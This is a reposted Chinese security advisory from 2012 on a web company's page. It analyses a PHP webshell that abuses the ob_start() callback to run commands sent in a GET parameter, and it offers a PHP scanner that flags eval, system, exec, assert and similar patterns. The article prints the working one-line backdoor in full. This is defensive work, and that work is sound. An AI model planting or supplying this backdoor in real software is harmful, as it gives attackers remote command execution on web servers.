今天:
QQ:147526645    Email:tzwbnet@qq.com
台州朗动网络科技有限公司专门运用PHP+MYSQL技术开发网站门户平台系统等,凭借其开发产品的非凡速度、领先的技术优势、富于创新的开发团队,为众多客户提供最优质的服务和技术保障。联系QQ:147526645  632732432      开发流程图   套餐价格表   台州朗动网络科技有限公司官方_新浪微博 台州朗动网络科技有限公司官方_腾讯微博 台州朗动网络科技有限公司官方_微信
开发流程图
套餐价格表
台州朗动网络科技有限公司官方微信二维码
Email 邮箱服务专区    客服:service@tzweb.com    技术:support@tzweb.com    域名:domain@tzweb.com    广告:ad@tzweb.com    人才:hr@tzweb.com
网站安全分析:PHP ob_start函数后门分析报告
来源: 日志宝    发布日期:2012-09-12 14:26:14    浏览次数:    

近日,根据日志宝分析平台的分析数据显示,部分网站的访问日志中存在大量命令执行类后门行为。

我们与用户取得联系后拿到后门文件代码。此类后门通过PHP的ob_start()函数触发,利用ob_start()函数回调机制调用命令执行类函数并接受黑客远程发送的命令,此类后门代码可以躲避部分常见后门关键字查杀程序,最终以Web服务器权限远程执行任意命令。

PHP 手册中关于ob_start()函数回调机制的相关说明: 

Ob_start()函数后门代码如下:

<?php
$cmd = 'system';ob_start($cmd);echo "$_GET[a]";ob_end_flush();
?>

后门利用效果如下图:

针对此类后门行为,建议站长们检查网页源代码中是否出现ob_start()函数调用,并检查ob_start()的参数是否是常见的命令执行类函数(system,exec,popen,shell_exec等)或者其他可疑函数调用。

为了方便站长们检查网站源代码中是否出现可疑后门程序或者危险函数调用,日志宝安全团队编写了一款简易的PHP后门检测小脚本,可以快速方便的帮助站长检测网站文件是否被插入恶意后门代码,源代码和使用方法如下:

#!/usr/bin/php -q
<?php

#简易PHPwebshell检测脚本-By 日志宝安全团队
#检测特征如下:
#eval\(\\$\_POST 匹配 eval($_POST[cmd])--PHP一句话后门代码
#system(),exec(),shell_exec(),popen(),passthru(),proc_open()这些函数可以执行系统命令,名且在PHPSPY木马中使用
#phpinfo() 后门中经常出现的函数,正常文件中也可能出现造成敏感信息泄露
#eval\(base64 匹配经过base64编码后的后门
#eval\(gzuncompress 匹配经过gzip压缩过的后门
#\`*\` 匹配类似`$_REQUEST[cmd]`的一句话后门
#其他可以远程执行命令或者直接生成后门文件的危险函数(dl,assert,error_log,ob_start,preg_replace /e)

#使用方法
./findshell.php /home/wwwroot/(此处填写web目录路径) > result.log

程序的分析结果将保存在当前目录下的result.log文件中

set_time_limit(0);
function find($directory)
  { 
   $mydir=dir($directory);
   while($file=$mydir->read()){
    if((is_dir("$directory/$file"))&&($file!=".")&&($file!=".."))
    {
     find("$directory/$file");
    }
    else{
     if($file != "." && $file != ".."&&eregi(".php",$file)){
     $fd=realpath($directory."/".$file);
     $fp = fopen($fd, "r");
     $i=0;
     while ($buffer = fgets($fp, 4096)) {
      $i++;  if((eregi("eval\(\\$\_POST",$buffer))||(eregi("system\(",$buffer))||(eregi("exec\(",$buffer))||(eregi("shell_exec\(",$buffer))||(eregi("popen\(",$buffer))||(eregi("phpinfo\(",$buffer))||(eregi("passthru\(",$buffer))||(eregi("proc_open\(",$buffer))||(eregi("phpspy",$buffer))||(eregi("eval\(base64",$buffer))||(eregi("eval\(gzuncompress",$buffer))||(eregi("preg_replace\(\/^\/e,\$",$buffer))||(eregi("preg_replace\(\"\/\^\/e",$buffer))||(eregi("assert\(",$buffer))||(eregi("ob_start\(",$buffer))||(eregi("error_log\(",$buffer))||(eregi("dl\(",$buffer))){
        all();
        echo "可疑文件路径:".$fd."\r\nLine".$i.":".$buffer."\r\n\r\n";
        }
      }
     fclose($fp);
     }
    }
   }
   $mydir->close();
  }
function all()
   {
   static $count = 1;
   echo $count;
   $count++;
   }

find($argv[1]);
?>

使用日志宝分析日志可以发现绝大部分常见Web后门的可疑访问行为,但是由于PHP语法的松散导致可以利用常规函数实现部分后门行为,比如执行系统命令等,因此也会出现一些遗漏和误报。在开发网站的过程中开发者需要有一定的安全编程意识,注意变量的初始化以及其他逻辑问题,加入一些安全过滤函数等防范措施,从网站本身的代码安全做起,才能起到深度防御的效果。希望广大站长能够通过日志宝分享的安全知识&技巧了解到更多Web安全相关内容,让自己的网站更加稳定、安全的运行。

[ 打印本文 ]  [ 关闭窗口 ]  [ 返回顶部 ]
网站首页|关于我们|网站排名|开发建设|客户案例|联系我们|网址导航|站长之家|站长论坛|站长工具|站长查询